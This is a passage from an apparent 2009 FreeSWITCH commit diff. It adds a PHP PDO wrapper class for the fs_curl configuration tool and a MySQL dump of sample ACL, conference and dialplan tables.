+        $conf = new $class;
+        $conf -> comment("class name is $class");
+        break;
+    case 'dialplan':
+        $conf = new fs_dialplan();
+        break;
+    case 'directory':
+        $conf = new fs_directory();
+        break;
+}
+
+$conf -> debug('---- Start _REQUEST ----');
+$conf -> debug($_REQUEST);
+$conf -> debug('---- End _REQUEST ----');
+$conf -> main();
+$conf -> output_xml();
+
+?>

Copied: freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/libs (from rev 14471, freeswitch/trunk/contrib/intralanman/PHP/fs_curl/libs)

Deleted: freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/libs/fs_pdo.php

Copied: freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/libs/fs_pdo.php (from rev 14471, freeswitch/trunk/contrib/intralanman/PHP/fs_curl/libs/fs_pdo.php) (0 => 14472)


--- freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/libs/fs_pdo.php	                        (rev 0)
+++ freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/libs/fs_pdo.php	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,109 @@
+<?php
+/**
+ * FS_CURL was originally written using the MDB2 pear class for database interactions.
+ * MDB2 was deprecated in favor or PHP's PDO.
+ * 
+ * This has been tested with MySQL but should work with many other RDBMSs
+ * @author Michael Phillips <michael.j.phillips@gmail.com>
+ * @license bsd http://www.opensource.org/licenses/bsd-license.php
+ */
+ 
+class FS_PDO extends PDO {
+	/**
+	 * Default fetch mode. Associative arrays seem to be used most often
+	 */
+	private $fetch_mode = PDO::FETCH_ASSOC;
+
+	/**
+	 * Basic counter for profiling the number of queries executed.
+	 */	
+	public $counter = 0;
+	
+	public function __construct($dsn, $login = NULL, $password = NULL, $options = NULL) {
+		parent::__construct($dsn, $login, $password, $options);
+		$this->setAttribute( PDO::ATTR_STATEMENT_CLASS, array( 'FS_PDOStatement', array() ) );
+	}
+	
+	/**
+	 * Set the fetch mode i.e. PDO::FETCH_ASSOC
+	 * @param string $fetch_mode
+	 */
+	public function setFetchMode($fetch_mode) {
+		$this->fetch_mode = $fetch_mode;
+	}
+	
+	/**
+	 * Return an associative array instead of a PDO statement object 
+	 * @param string $query Query to be executed
+	 * @return mixed Associative array result set
+	 */ 
+ 	public function queryAll($query) {
+		$this->counter++;
+		$res = $this->query($query);
+		if(!$res) {
+			return false;
+		} else {
+			return $res->fetchAll($this->fetch_mode);
+		}		
+	}
+	
+	/**
+	 * Backwards compatibility for error checking with MDB2 
+	 * @static
+	 * @param string $result The return status of a previous query operation
+	 * @return bool
+	 */
+	public static function isError($result) {
+		if($result === false) {
+			return true;
+		} else {
+			return false;
+		}
+	}
+	
+	/**
+	 *  
+	 * @param string $query Query to be executed
+	 * @return PDOStatement 
+	 */
+	public function query($query) {
+		$this->counter++; 
+		return PDO::query($query);
+	}
+	
+	/**
+	 * Takes and array and converts to a string
+	 * @return string $full_error A formated message 
+	 */
+	public function getMessage() {
+		$full_error = "";
+		foreach($this->errorInfo() as $error) {
+			$full_error .= $error . "\n";	
+		}
+		return $full_error;
+	}
+}
+
+/**
+ * PDOStatment was extended to provide backwards compatible functions such as 
+ * fetchRow and rowCount. At some point all references to numRow() should be 
+ * replaced with rowCount() 
+ */
+
+class FS_PDOStatement extends PDOStatement {
+
+    protected function __construct() {
+
+    }
+	
+	public function fetchRow() {
+				
+		return $this->fetch(PDO::FETCH_ASSOC);
+	}
+	
+	public function numRows() {
+		
+		return $this->rowCount();
+	}
+}
+?>
\ No newline at end of file

Copied: freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/sql (from rev 14471, freeswitch/trunk/contrib/intralanman/PHP/fs_curl/sql)

Deleted: freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/sql/mysql-4.0-with-samples.sql

Copied: freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/sql/mysql-4.0-with-samples.sql (from rev 14471, freeswitch/trunk/contrib/intralanman/PHP/fs_curl/sql/mysql-4.0-with-samples.sql) (0 => 14472)


--- freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/sql/mysql-4.0-with-samples.sql	                        (rev 0)
+++ freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/sql/mysql-4.0-with-samples.sql	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,1431 @@
+-- phpMyAdmin SQL Dump
+-- version 3.1.2deb1
+-- http://www.phpmyadmin.net
+--
+-- Host: localhost
+-- Generation Time: Feb 15, 2009 at 09:35 PM
+-- Server version: 5.0.75
+-- PHP Version: 5.2.6-3ubuntu2
+
+
+/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
+/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
+/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
+/*!40101 SET NAMES utf8 */;
+
+--
+-- Database: `freeswitch`
+--
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `acl_lists`
+--
+
+CREATE TABLE IF NOT EXISTS `acl_lists` (
+  `id` int(10) unsigned NOT NULL auto_increment,
+  `acl_name` varchar(128) NOT NULL,
+  `default_policy` varchar(45) NOT NULL,
+  PRIMARY KEY  (`id`)
+) TYPE=InnoDB  AUTO_INCREMENT=4 ;
+
+--
+-- Dumping data for table `acl_lists`
+--
+
+INSERT INTO `acl_lists` (`id`, `acl_name`, `default_policy`) VALUES
+(1, 'rfc1918', 'deny'),
+(2, 'lan', 'allow'),
+(3, 'default', 'allow');
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `acl_nodes`
+--
+
+CREATE TABLE IF NOT EXISTS `acl_nodes` (
+  `id` int(10) unsigned NOT NULL auto_increment,
+  `cidr` varchar(45) NOT NULL,
+  `type` varchar(16) NOT NULL,
+  `list_id` int(10) unsigned NOT NULL,
+  PRIMARY KEY  (`id`)
+) TYPE=InnoDB  AUTO_INCREMENT=4 ;
+
+--
+-- Dumping data for table `acl_nodes`
+--
+
+INSERT INTO `acl_nodes` (`id`, `cidr`, `type`, `list_id`) VALUES
+(1, '192.168.0.0/16', 'allow', 1),
+(2, '10.0.0.0/8', 'allow', 1),
+(3, '172.16.0.0/12', 'allow', 1);
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `conference_advertise`
+--
+
+CREATE TABLE IF NOT EXISTS `conference_advertise` (
+  `id` int(10) unsigned NOT NULL auto_increment,
+  `room` varchar(64) NOT NULL,
+  `status` varchar(128) NOT NULL,
+  PRIMARY KEY  (`id`),
+  UNIQUE KEY `unique_room` (`room`)
+) TYPE=InnoDB  AUTO_INCREMENT=4 ;
+
+--
+-- Dumping data for table `conference_advertise`
+--
+
+INSERT INTO `conference_advertise` (`id`, `room`, `status`) VALUES
+(1, '3000@$${domain}', 'Freeswitch Conference'),
+(2, '3001@$${domain}', 'FreeSWITCH Conference 2'),
+(3, '3002@$${domain}', 'FreeSWITCH Conference 3');
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `conference_controls`
+--
+
+CREATE TABLE IF NOT EXISTS `conference_controls` (
+  `id` int(10) unsigned NOT NULL auto_increment,
+  `conf_group` varchar(64) NOT NULL,
+  `action` varchar(64) NOT NULL,
+  `digits` varchar(16) NOT NULL,
+  PRIMARY KEY  (`id`),
+  UNIQUE KEY `unique_group_action` (`conf_group`,`action`)
+) TYPE=InnoDB  AUTO_INCREMENT=13 ;
+
+--
+-- Dumping data for table `conference_controls`
+--
+
+INSERT INTO `conference_controls` (`id`, `conf_group`, `action`, `digits`) VALUES
+(1, 'default', 'mute', '0'),
+(2, 'default', 'deaf_mute', '*'),
+(3, 'default', 'energy up', '9'),
+(4, 'default', 'energy equ', '8'),
+(5, 'default', 'energy dn', '7'),
+(6, 'default', 'vol talk up', '3'),
+(7, 'default', 'vol talk dn', '1'),
+(8, 'default', 'vol talk zero', '2'),
+(9, 'default', 'vol listen up', '6'),
+(10, 'default', 'vol listen dn', '4'),
+(11, 'default', 'vol listen zero', '5'),
+(12, 'default', 'hangup', '#');
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `conference_profiles`
+--
+
+CREATE TABLE IF NOT EXISTS `conference_profiles` (
+  `id` int(10) unsigned NOT NULL auto_increment,
+  `profile_name` varchar(64) NOT NULL,
+  `param_name` varchar(64) NOT NULL,
+  `param_value` varchar(64) NOT NULL,
+  PRIMARY KEY  (`id`),
+  KEY `unique_profile_param` (`profile_name`,`param_name`)
+) TYPE=InnoDB  AUTO_INCREMENT=8 ;
+
+--
+-- Dumping data for table `conference_profiles`
+--
+
+INSERT INTO `conference_profiles` (`id`, `profile_name`, `param_name`, `param_value`) VALUES
+(1, 'default', 'domain', '$${domain}'),
+(2, 'default', 'rate', '8000'),
+(3, 'default', 'interval', '20'),
+(4, 'default', 'energy-level', '300'),
+(5, 'default', 'moh-sound', '$${moh_uri}'),
+(6, 'default', 'caller-id-name', '$${outbound_caller_name}'),
+(7, 'default', 'caller-id-number', '$${outbound_caller_number}');
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `dialplan`
+--
+
+CREATE TABLE IF NOT EXISTS `dialplan` (
+  `dialplan_id` int(11) NOT NULL auto_increment,
+  `domain` varchar(128) NOT NULL,
+  `ip_address` varchar(15) NOT NULL,
+  PRIMARY KEY  (`dialplan_id`)
+) TYPE=MyISAM  AUTO_INCREMENT=2 ;
+
+--
+-- Dumping data for table `dialplan`
+--
+
+INSERT INTO `dialplan` (`dialplan_id`, `domain`, `ip_address`) VALUES
+(1, 'freeswitch', '127.0.0.1');
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `dialplan_actions`
+--
+
+CREATE TABLE IF NOT EXISTS `dialplan_actions` (
+  `action_id` int(11) NOT NULL auto_increment,
+  `condition_id` int(11) NOT NULL,
+  `application` varchar(256) NOT NULL,
+  `data` varchar(256) NOT NULL,
+  `type` varchar(32) NOT NULL,
+  `weight` int(11) NOT NULL,
+  PRIMARY KEY  (`action_id`)
+) TYPE=MyISAM  AUTO_INCREMENT=170 ;
+
+--
+-- Dumping data for table `dialplan_actions`
+--
+
+INSERT INTO `dialplan_actions` (`action_id`, `condition_id`, `application`, `data`, `type`, `weight`) VALUES
+(1, 2, 'deflect', '${destination_number}', 'action', 10),
+(2, 5, 'set', 'domain_name=$${domain}', 'action', 20),
+(3, 5, 'set', 'domain_name=${sip_auth_realm}', 'anti-action', 30),
+(4, 7, 'set', 'domain_name=$${domain}', 'action', 40),
+(5, 9, 'set', 'open=true', 'action', 50),
+(6, 10, 'answer', '', 'action', 60),
+(7, 10, 'intercept', '${db(select/${domain_name}-last_dial/global)}', 'action', 70),
+(8, 10, 'sleep', '2000', 'action', 80),
+(9, 11, 'answer', '', 'action', 90),
+(10, 11, 'intercept', '${db(select/${domain_name}-last_dial/${callgroup})}', 'action', 100),
+(11, 11, 'sleep', '2000', 'action', 110),
+(12, 12, 'answer', '', 'action', 120),
+(13, 12, 'intercept', '${db(select/${domain_name}-last_dial_ext/$1)}', 'action', 130),
+(14, 12, 'sleep', '2000', 'action', 140),
+(15, 13, 'transfer', '${db(select/${domain_name}-last_dial/${caller_id_number})}', 'action', 150),
+(16, 14, 'set', 'use_profile=${cond(${acl($${local_ip_v4} rfc1918)} == true ? nat : default)}', 'action', 160),
+(17, 14, 'set', 'use_profile=${cond(${acl(${network_addr} rfc1918)} == true ? nat : default)}', 'anti-action', 170),
+(18, 15, 'set_user', 'default@${domain_name}', 'action', 180),
+(19, 16, 'info', '', 'action', 190),
+(20, 17, 'set', 'sip_secure_media=true', 'action', 200),
+(21, 18, 'db', 'insert/${domain_name}-spymap/${caller_id_number}/${uuid}', 'action', 210),
+(22, 18, 'db', 'insert/${domain_name}-last_dial/${caller_id_number}/${destination_number}', 'action', 220),
+(23, 18, 'db', 'insert/${domain_name}-last_dial/global/${uuid}', 'action', 230),
+(24, 19, 'eval', '${snom_bind_key(2 off DND ${sip_from_user} ${sip_from_host} ${sofia_profile_name} message notused)}', 'action', 240),
+(25, 19, 'transfer', '3000', 'action', 250),
+(26, 20, 'eval', '${snom_bind_key(2 on DND ${sip_from_user} ${sip_from_host} ${sofia_profile_name} message api+uuid_transfer ${uuid} 9001)}', 'action', 260),
+(27, 20, 'playback', '$${hold_music}', 'action', 270),
+(28, 21, 'answer', '', 'action', 280),
+(29, 21, 'eavesdrop', '${db(select/${domain_name}-spymap/$1)}', 'action', 290),
+(30, 22, 'answer', '', 'action', 300),
+(31, 22, 'set', 'eavesdrop_indicate_failed=tone_stream://%(500, 0, 320)', 'action', 310),
+(32, 22, 'set', 'eavesdrop_indicate_new=tone_stream://%(500, 0, 620)', 'action', 320),
+(33, 22, 'set', 'eavesdrop_indicate_idle=tone_stream://%(250, 0, 920)', 'action', 330),
+(34, 22, 'eavesdrop', 'all', 'action', 340),
+(35, 23, 'transfer', '${db(select/${domain_name}-call_return/${caller_id_number})}', 'action', 350),
+(36, 24, 'answer', '', 'action', 360),
+(37, 24, 'group', 'delete:$1@${domain_name}:${sofia_contact(${sip_from_user}@${domain_name})}', 'action', 370),
+(38, 24, 'gentones', '%(1000, 0, 320)', 'action', 380),
+(39, 25, 'answer', '', 'action', 390),
+(40, 25, 'group', 'insert:$1@${domain_name}:${sofia_contact(${sip_from_user}@${domain_name})}', 'action', 400),
+(41, 25, 'gentones', '%(1000, 0, 640)', 'action', 410),
+(42, 26, 'bridge', '{ignore_early_media=true}${group(call:$1@${domain_name})}', 'action', 420),
+(43, 27, 'set', 'call_timeout=10', 'action', 430),
+(44, 27, 'bridge', '{ignore_early_media=true}${group(call:$1@${domain_name}:order)}', 'action', 440),
+(45, 28, 'set', 'dialed_extension=$1', 'action', 450),
+(46, 28, 'export', 'sip_auto_answer=true', 'action', 460),
+(47, 28, 'bridge', 'user/${dialed_extension}@${domain_name}', 'action', 470),
+(48, 29, 'set', 'dialed_extension=$1', 'action', 480),
+(49, 29, 'export', 'dialed_extension=$1', 'action', 490),
+(50, 30, 'set', 'voicemail_authorized=${sip_authorized}', 'action', 500),
+(51, 30, 'answer', '', 'action', 510),
+(52, 30, 'sleep', '1000', 'action', 520),
+(53, 30, 'voicemail', 'check default ${domain_name} ${dialed_extension}', 'action', 530),
+(54, 30, 'bind_meta_app', '1 b s execute_extension::dx XML features', 'anti-action', 540),
+(55, 30, 'bind_meta_app', '2 b s record_session::$${base_dir}/recordings/${caller_id_number}.${strftime(%Y-%m-%d-%H-%M-%S)}.wav', 'anti-action', 550),
+(56, 30, 'bind_meta_app', '3 b s execute_extension::cf XML features', 'anti-action', 560),
+(57, 30, 'set', 'ringback=${us-ring}', 'anti-action', 570),
+(58, 30, 'set', 'transfer_ringback=$${hold_music}', 'anti-action', 580),
+(59, 30, 'set', 'call_timeout=30', 'anti-action', 590),
+(60, 30, 'set', 'hangup_after_bridge=true', 'anti-action', 600),
+(61, 30, 'set', 'continue_on_fail=true', 'anti-action', 610),
+(62, 30, 'db', 'insert/${domain_name}-call_return/${dialed_extension}/${caller_id_number}', 'anti-action', 620),
+(63, 30, 'db', 'insert/${domain_name}-last_dial_ext/${dialed_extension}/${uuid}', 'anti-action', 630),
+(64, 30, 'set', 'called_party_callgroup=${user_data(${dialed_extension}@${domain_name} var callgroup)}', 'anti-action', 640),
+(65, 30, 'db', 'insert/${domain_name}-last_dial/${called_party_callgroup}/${uuid}', 'anti-action', 650),
+(66, 30, 'bridge', 'user/${dialed_extension}@${domain_name}', 'anti-action', 660),
+(67, 30, 'answer', '', 'anti-action', 670),
+(68, 30, 'sleep', '1000', 'anti-action', 680),
+(69, 30, 'voicemail', 'default ${domain_name} ${dialed_extension}', 'anti-action', 690),
+(70, 31, 'bridge', '${group_call(sales@${domain_name})}', 'action', 700),
+(71, 32, 'bridge', 'group/support@${domain_name}', 'action', 710),
+(72, 33, 'bridge', 'group/billing@${domain_name}', 'action', 720),
+(73, 34, 'set', 'transfer_ringback=$${hold_music}', 'action', 730),
+(74, 34, 'transfer', '1000 XML features', 'action', 740),
+(75, 35, 'answer', '', 'action', 750),
+(76, 35, 'sleep', '1000', 'action', 760),
+(77, 35, 'voicemail', 'check default ${domain_name}', 'action', 770),
+(78, 36, 'bridge', 'sofia/${use_profile}/$1', 'action', 780),
+(79, 37, 'answer', '', 'action', 790),
+(80, 37, 'conference', '$1-${domain_name}@default', 'action', 800),
+(81, 38, 'answer', '', 'action', 810),
+(82, 38, 'conference', '$1-${domain_name}@wideband', 'action', 820),
+(83, 39, 'answer', '', 'action', 830),
+(84, 39, 'conference', '$1-${domain_name}@ultrawideband', 'action', 840),
+(85, 40, 'answer', '', 'action', 850),
+(86, 40, 'conference', '$1-${domain_name}@cdquality', 'action', 860),
+(87, 41, 'bridge', 'sofia/${use_profile}/$1@conference.freeswitch.org', 'action', 870),
+(88, 42, 'set', 'conference_auto_outcall_caller_id_name=Mad Boss1', 'action', 880),
+(89, 42, 'set', 'conference_auto_outcall_caller_id_number=0911', 'action', 890),
+(90, 42, 'set', 'conference_auto_outcall_timeout=60', 'action', 900),
+(91, 42, 'set', 'conference_auto_outcall_flags=mute', 'action', 910),
+(92, 42, 'set', 'conference_auto_outcall_prefix={sip_auto_answer=true,execute_on_answer=''bind_meta_app 2 a s1 intercept::${uuid}''}', 'action', 920),
+(93, 42, 'set', 'sip_exclude_contact=${network_addr}', 'action', 930),
+(94, 42, 'conference_set_auto_outcall', '${group_call(sales)}', 'action', 940),
+(95, 42, 'conference', 'madboss_intercom1@default+flags{endconf|deaf}', 'action', 950),
+(96, 43, 'set', 'conference_auto_outcall_caller_id_name=Mad Boss2', 'action', 960),
+(97, 43, 'set', 'conference_auto_outcall_caller_id_number=0912', 'action', 970),
+(98, 43, 'set', 'conference_auto_outcall_timeout=60', 'action', 980),
+(99, 43, 'set', 'conference_auto_outcall_flags=mute', 'action', 990),
+(100, 43, 'set', 'conference_auto_outcall_prefix={sip_auto_answer=true,execute_on_answer=''bind_meta_app 2 a s1 intercept::${uuid}''}', 'action', 1000),
+(101, 43, 'set', 'sip_exclude_contact=${network_addr}', 'action', 1010),
+(102, 43, 'conference_set_auto_outcall', 'loopback/9999', 'action', 1020),
+(103, 43, 'conference', 'madboss_intercom2@default+flags{endconf|deaf}', 'action', 1030),
+(104, 44, 'set', 'conference_auto_outcall_caller_id_name=Mad Boss', 'action', 1040),
+(105, 44, 'set', 'conference_auto_outcall_caller_id_number=0911', 'action', 1050),
+(106, 44, 'set', 'conference_auto_outcall_timeout=60', 'action', 1060),
+(107, 44, 'set', 'conference_auto_outcall_flags=none', 'action', 1070),
+(108, 44, 'conference_set_auto_outcall', 'loopback/9999', 'action', 1080),
+(109, 44, 'conference', 'madboss3@default', 'action', 1090),
+(110, 45, 'answer', '', 'action', 1100),
+(111, 45, 'sleep', '2000', 'action', 1110),
+(112, 45, 'ivr', 'demo_ivr', 'action', 1120),
+(113, 46, 'conference', 'bridge:mydynaconf:sofia/${use_profile}/1234@conference.freeswitch.org', 'action', 1130),
+(114, 47, 'answer', '', 'action', 1140),
+(115, 47, 'esf_page_group', '', 'action', 1150),
+(116, 48, 'set', 'fifo_music=$${hold_music}', 'action', 1160),
+(117, 48, 'fifo', '5900@${domain_name} in', 'action', 1170),
+(118, 49, 'answer', '', 'action', 1180),
+(119, 49, 'fifo', '5900@${domain_name} out nowait', 'action', 1190),
+(120, 51, 'fifo', '$1@${domain_name} in undef $${hold_music}', 'action', 1200),
+(121, 54, 'answer', '', 'action', 1210),
+(122, 54, 'fifo', '$1@${domain_name} out nowait', 'action', 1220),
+(123, 57, '', '', 'expression', 1230),
+(124, 57, 'fifo', '$1@${domain_name} in undef $${hold_music}', 'action', 1240),
+(125, 60, 'answer', '', 'action', 1250),
+(126, 60, 'fifo', '$1@${domain_name} out nowait', 'action', 1260),
+(127, 61, 'pre_answer', '', 'action', 1270),
+(128, 61, 'sleep', '20000', 'action', 1280),
+(129, 61, 'answer', '', 'action', 1290),
+(130, 61, 'sleep', '1000', 'action', 1300),
+(131, 61, 'playback', 'voicemail/vm-goodbye.wav', 'action', 1310),
+(132, 61, 'hangup', '', 'action', 1320),
+(133, 62, 'ring_ready', '', 'action', 1330),
+(134, 62, 'sleep', '20000', 'action', 1340),
+(135, 62, 'answer', '', 'action', 1350),
+(136, 62, 'sleep', '1000', 'action', 1360),
+(137, 62, 'playback', 'voicemail/vm-goodbye.wav', 'action', 1370),
+(138, 62, 'hangup', '', 'action', 1380),
+(139, 63, 'set', 'ringback=$${uk-ring}', 'action', 1390),
+(140, 63, 'bridge', 'loopback/wait', 'action', 1400),
+(141, 64, 'set', 'ringback=$${hold_music}', 'action', 1410),
+(142, 64, 'bridge', 'loopback/wait', 'action', 1420),
+(143, 65, 'set', 'transfer_ringback=$${uk-ring}', 'action', 1430),
+(144, 65, 'answer', '', 'action', 1440),
+(145, 65, 'bridge', 'loopback/wait', 'action', 1450),
+(146, 66, 'set', 'transfer_ringback=$${hold_music}', 'action', 1460),
+(147, 66, 'answer', '', 'action', 1470),
+(148, 66, 'bridge', 'loopback/wait', 'action', 1480),
+(149, 67, 'answer', '', 'action', 1490),
+(150, 67, 'info', '', 'action', 1500),
+(151, 67, 'sleep', '250', 'action', 1510),
+(152, 67, 'hangup', '', 'action', 1520),
+(153, 68, 'answer', '', 'action', 1530),
+(154, 68, 'record_fsv', '/tmp/testrecord.fsv', 'action', 1540),
+(155, 69, 'answer', '', 'action', 1550),
+(156, 69, 'play_fsv', '/tmp/testrecord.fsv', 'action', 1560),
+(157, 70, 'answer', '', 'action', 1570),
+(158, 70, 'delay_echo', '5000', 'action', 1580),
+(159, 71, 'answer', '', 'action', 1590),
+(160, 71, 'echo', '', 'action', 1600),
+(161, 72, 'answer', '', 'action', 1610),
+(162, 72, 'playback', 'tone_stream://%(10000,0,1004);loops=-1', 'action', 1620),
+(163, 73, 'answer', '', 'action', 1630),
+(164, 73, 'playback', 'tone_stream://path=${base_dir}/conf/tetris.ttml;loops=10', 'action', 1640),
+(165, 75, 'answer', '', 'action', 1650),
+(166, 75, 'execute_extension', 'is_secure XML features', 'action', 1660),
+(167, 75, 'playback', '$${hold_music}', 'action', 1670),
+(168, 75, 'answer', '', 'anti-action', 1680),
+(169, 75, 'playback', '$${hold_music}', 'anti-action', 1690);
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `dialplan_condition`
+--
+
+CREATE TABLE IF NOT EXISTS `dialplan_condition` (
+  `condition_id` int(11) NOT NULL auto_increment,
+  `extension_id` int(11) NOT NULL,
+  `field` varchar(1238) NOT NULL,
+  `expression` varchar(128) NOT NULL,
+  `weight` int(11) NOT NULL,
+  PRIMARY KEY  (`condition_id`)
+) TYPE=MyISAM  AUTO_INCREMENT=76 ;
+
+--
+-- Dumping data for table `dialplan_condition`
+--
+
+INSERT INTO `dialplan_condition` (`condition_id`, `extension_id`, `field`, `expression`, `weight`) VALUES
+(1, 1, '$${unroll_loops}', '^true$', 10),
+(2, 1, '${sip_looped_call}', '^true$', 20),
+(3, 2, '${domain_name}', '^$', 30),
+(4, 2, 'source', 'mod_sofia', 40),
+(5, 2, '${sip_auth_realm}', '^$', 50),
+(6, 3, '${domain_name}', '^$', 60),
+(7, 3, 'source', 'mod_openzap', 70),
+(8, 4, '${strftime(%w)}', '^([1-5])$', 80),
+(9, 4, '${strftime(%H%M)}', '^((09|1[0-7])[0-5][0-9]|1800)$', 90),
+(10, 5, 'destination_number', '^886$', 100),
+(11, 6, 'destination_number', '^\\*8$', 110),
+(12, 7, 'destination_number', '^\\*\\*(\\d+)$', 120),
+(13, 8, 'destination_number', '^870$', 130),
+(14, 9, '${network_addr}', '^$', 140),
+(15, 9, '${numbering_plan}', '^$', 150),
+(16, 9, '${call_debug}', '^true$', 160),
+(17, 9, '${sip_has_crypto}', '^(AES_CM_128_HMAC_SHA1_32|AES_CM_128_HMAC_SHA1_80)$', 170),
+(18, 9, '', '', 180),
+(19, 10, 'destination_number', '^9001$', 190),
+(20, 11, 'destination_number', '^9000$', 200),
+(21, 12, 'destination_number', '^88(.*)$|^\\*0(.*)$', 210),
+(22, 13, 'destination_number', '^779$', 220),
+(23, 14, 'destination_number', '^\\*69$|^869$|^lcr$', 230),
+(24, 15, 'destination_number', '^80(\\d{2})$', 240),
+(25, 16, 'destination_number', '^81(\\d{2})$', 250),
+(26, 17, 'destination_number', '^82(\\d{2})$', 260),
+(27, 18, 'destination_number', '^83(\\d{2})$', 270),
+(28, 19, 'destination_number', '^8(10[01][0-9])$', 280),
+(29, 20, 'destination_number', '^(20[01][0-9])$', 290),
+(30, 20, 'destination_number', '^${caller_id_number}$', 300),
+(31, 21, 'destination_number', '^3000$', 310),
+(32, 22, 'destination_number', '^3001$', 320),
+(33, 23, 'destination_number', '^3002$', 330),
+(34, 24, 'destination_number', '^operator$|^0$', 340),
+(35, 25, 'destination_number', '^vmain|4000$', 350),
+(36, 26, 'destination_number', '^sip:(.*)$', 360),
+(37, 27, 'destination_number', '^(30\\d{2})$', 370),
+(38, 28, 'destination_number', '^(31\\d{2})$', 380),
+(39, 29, 'destination_number', '^(32\\d{2})$', 390),
+(40, 30, 'destination_number', '^(33\\d{2})$', 400),
+(41, 31, 'destination_number', '^9(888|1616|3232)$', 410),
+(42, 32, 'destination_number', '^0911$', 420),
+(43, 33, 'destination_number', '^0912$', 430),
+(44, 34, 'destination_number', '^0913$', 440),
+(45, 35, 'destination_number', '^5000$', 450),
+(46, 36, 'destination_number', '^5001$', 460),
+(47, 37, 'destination_number', '^pagegroup$|^7243', 470),
+(48, 38, 'destination_number', '^5900$', 480),
+(49, 39, 'destination_number', '^5901$', 490),
+(50, 40, 'source', 'mod_sofia', 500),
+(51, 40, 'destination_number', 'park\\+(\\d+)', 510),
+(52, 41, 'source', 'mod_sofia', 520),
+(53, 41, 'destination_number', '^parking$', 530),
+(54, 41, '${sip_to_params}', 'fifo\\=(\\d+)', 540),
+(55, 42, 'source', 'mod_sofia', 550),
+(56, 42, 'destination_number', 'callpark', 560),
+(57, 42, '${sip_refer_to}', '', 570),
+(58, 43, 'source', 'mod_sofia', 580),
+(59, 43, 'destination_number', 'pickup', 590),
+(60, 43, '${sip_to_params}', 'orbit\\=(\\d+)', 600),
+(61, 44, 'destination_number', '^wait$', 610),
+(62, 45, 'destination_number', '^9980$', 620),
+(63, 46, 'destination_number', '^9981$', 630),
+(64, 47, 'destination_number', '^9982$', 640),
+(65, 48, 'destination_number', '^9983$', 650),
+(66, 49, 'destination_number', '^9984$', 660),
+(67, 50, 'destination_number', '^9992$', 670),
+(68, 51, 'destination_number', '^9993$', 680),
+(69, 52, 'destination_number', '^9994$', 690),
+(70, 53, 'destination_number', '^9995$', 700),
+(71, 54, 'destination_number', '^9996$', 710),
+(72, 55, 'destination_number', '^9997$', 720),
+(73, 56, 'destination_number', '^9998$', 730),
+(74, 57, 'destination_number', '^9999$', 740),
+(75, 57, '${sip_has_crypto}', '^(AES_CM_128_HMAC_SHA1_32|AES_CM_128_HMAC_SHA1_80)$', 750);
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `dialplan_context`
+--
+
+CREATE TABLE IF NOT EXISTS `dialplan_context` (
+  `context_id` int(11) NOT NULL auto_increment,
+  `dialplan_id` int(11) NOT NULL,
+  `context` varchar(64) NOT NULL,
+  `weight` int(11) NOT NULL,
+  PRIMARY KEY  (`context_id`)
+) TYPE=InnoDB  AUTO_INCREMENT=3 ;
+
+--
+-- Dumping data for table `dialplan_context`
+--
+
+INSERT INTO `dialplan_context` (`context_id`, `dialplan_id`, `context`, `weight`) VALUES
+(1, 1, 'default', 10),
+(2, 1, 'public', 20);
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `dialplan_extension`
+--
+
+CREATE TABLE IF NOT EXISTS `dialplan_extension` (
+  `extension_id` int(11) NOT NULL auto_increment,
+  `context_id` int(11) NOT NULL,
+  `name` varchar(128) NOT NULL,
+  `continue` varchar(32) NOT NULL,
+  `weight` int(11) NOT NULL,
+  PRIMARY KEY  (`extension_id`)
+) TYPE=InnoDB  AUTO_INCREMENT=58 ;
+
+--
+-- Dumping data for table `dialplan_extension`
+--
+
+INSERT INTO `dialplan_extension` (`extension_id`, `context_id`, `name`, `continue`, `weight`) VALUES
+(1, 1, 'unloop', '', 10),
+(2, 1, 'set_domain', 'true', 20),
+(3, 1, 'set_domain_openzap', 'true', 30),
+(4, 1, 'tod_example', 'true', 40),
+(5, 1, 'global-intercept', '', 50),
+(6, 1, 'group-intercept', '', 60),
+(7, 1, 'intercept-ext', '', 70),
+(8, 1, 'redial', '', 80),
+(9, 1, 'global', 'true', 90),
+(10, 1, 'snom-demo-2', '', 100),
+(11, 1, 'snom-demo-1', '', 110),
+(12, 1, 'eavesdrop', '', 120),
+(13, 1, 'eavesdrop', '', 130),
+(14, 1, 'call_return', '', 140),
+(15, 1, 'del-group', '', 150),
+(16, 1, 'add-group', '', 160),
+(17, 1, 'call-group-simo', '', 170),
+(18, 1, 'call-group-order', '', 180),
+(19, 1, 'extension-intercom', '', 190),
+(20, 1, 'Local_Extension', '', 200),
+(21, 1, 'group_dial_sales', '', 210),
+(22, 1, 'group_dial_support', '', 220),
+(23, 1, 'group_dial_billing', '', 230),
+(24, 1, 'operator', '', 240),
+(25, 1, 'vmain', '', 250),
+(26, 1, 'sip_uri', '', 260),
+(27, 1, 'nb_conferences', '', 270),
+(28, 1, 'wb_conferences', '', 280),
+(29, 1, 'uwb_conferences', '', 290),
+(30, 1, 'cdquality_conferences', '', 300),
+(31, 1, 'freeswitch_public_conf_via_sip', '', 310),
+(32, 1, 'mad_boss_intercom', '', 320),
+(33, 1, 'mad_boss_intercom', '', 330),
+(34, 1, 'mad_boss', '', 340),
